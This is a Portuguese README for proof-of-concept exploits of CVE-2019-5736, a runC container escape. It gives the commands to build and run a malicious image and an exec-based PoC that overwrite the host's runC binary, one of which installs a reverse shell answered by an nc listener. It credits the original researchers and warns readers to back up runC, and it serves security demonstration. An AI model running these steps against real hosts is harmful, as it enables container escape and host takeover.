
Exploits de prova de conceito para CVE-2019-5736, uma vulnerabilidade de escape de contêiner runC, demonstrando fuga de contêiner via imagens maliciosas e comandos exec.
Vídeo: https://bit.ly/2WqvILb
Post no Blog: [www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html]
Aqui, gostaria de mencionar que o desenvolvedor original deste exploit é Yuval Avrahami, da Twistlock Labs.
Note que executar os POCs substituirá o binário runC no host.
É altamente recomendável que você crie uma cópia do seu binário runC (normalmente em /usr/sbin/runc) antes de executar um dos POCs.
Clone o repositório:
$ git clone [email protected]:BBRathnayaka/RunC-CVE-2019-5736.git
Substitui runc por um programa simples que imprime uma string.
Executando o exec POC:
$ docker build -t cve-2019-5736:exec_POC ./RunC-CVE-2019-5736/exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
Substitui runc por um script bash de reverse shell simples que se conecta a localhost:2345.
Escute pelo reverse shell:
$ nc -nvlp 2345
De um shell diferente, execute a POC de imagem maliciosa:
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
Veja o [Twistlock Labs](https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/ "Explicando o CVE-2019-5736") para uma explicação do CVE-2019-5736 e dos POCs.
A POC de imagem maliciosa é fortemente baseada na [POC do q3k](https://github.com/q3k/cve-2019-5736-poc), então todo o crédito vai para ele.